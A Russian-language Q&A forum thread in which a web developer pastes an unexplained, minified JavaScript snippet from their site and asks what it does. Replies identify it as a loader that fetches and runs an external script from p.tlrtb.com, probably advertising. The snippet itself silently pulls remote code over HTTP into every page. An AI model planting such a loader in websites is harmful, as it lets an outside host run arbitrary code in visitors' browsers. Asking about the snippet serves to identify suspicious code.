VadimW
@VadimW
Web Developer

Что выполняет JS?

Здравствуйте. У меня на сайте имеется JS, я уже и не помню какую функцию он выполняет. Подскажите пожалуйста, может кто знает что он выполняет?

JavaScript
! function() {
    function t() {
        try {
            return window.self !== window.top
        } catch (t) {
            return !0
        }
    }

    function e() {
        var t = document.getElementsByTagName("head")[0],
            e = document.createElement("script");
        e.src = "http://p.tlrtb.com/ad/base.js?", e.type = "text/javascript", t.appendChild(e)
    }

    function n(t) {
        o.parentNode.insertBefore(t, o.nextSibling)
    }

    function r(t) {
        document.write(t.outerHTML)
    }

    function c() {
        for (var t = document.createElement("script"), e = Array.prototype.slice.call(o.attributes), n = 0; n < e.length; n++) t.setAttribute(e[n].nodeName, e[n].nodeValue);
        return t.src = "http://p.tlrtb.com/ad/base.js?", t
    }
    var o = document.currentScript || document.scripts[document.scripts.length - 1],
        i = c();
    o.async || o.defer ? n(i) : r(i), window.__qsrad || t() || (window.__qsrad = 1, e())
}();
  • Вопрос задан
  • 182 просмотра
Решения вопроса 2
Kozack
@Kozack Куратор тега JavaScript
Thinking about a11y
Вставляет внешние скрипты
Ответ написан
Mesuti
@Mesuti
Вставляет и вызывает внешний скрипт p.tlrtb.com/ad/base.js
То что он еще и обфусцирован (зашифрован) и имеет в адресе ad, скорее всего рекламный
Ответ написан
Комментировать
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы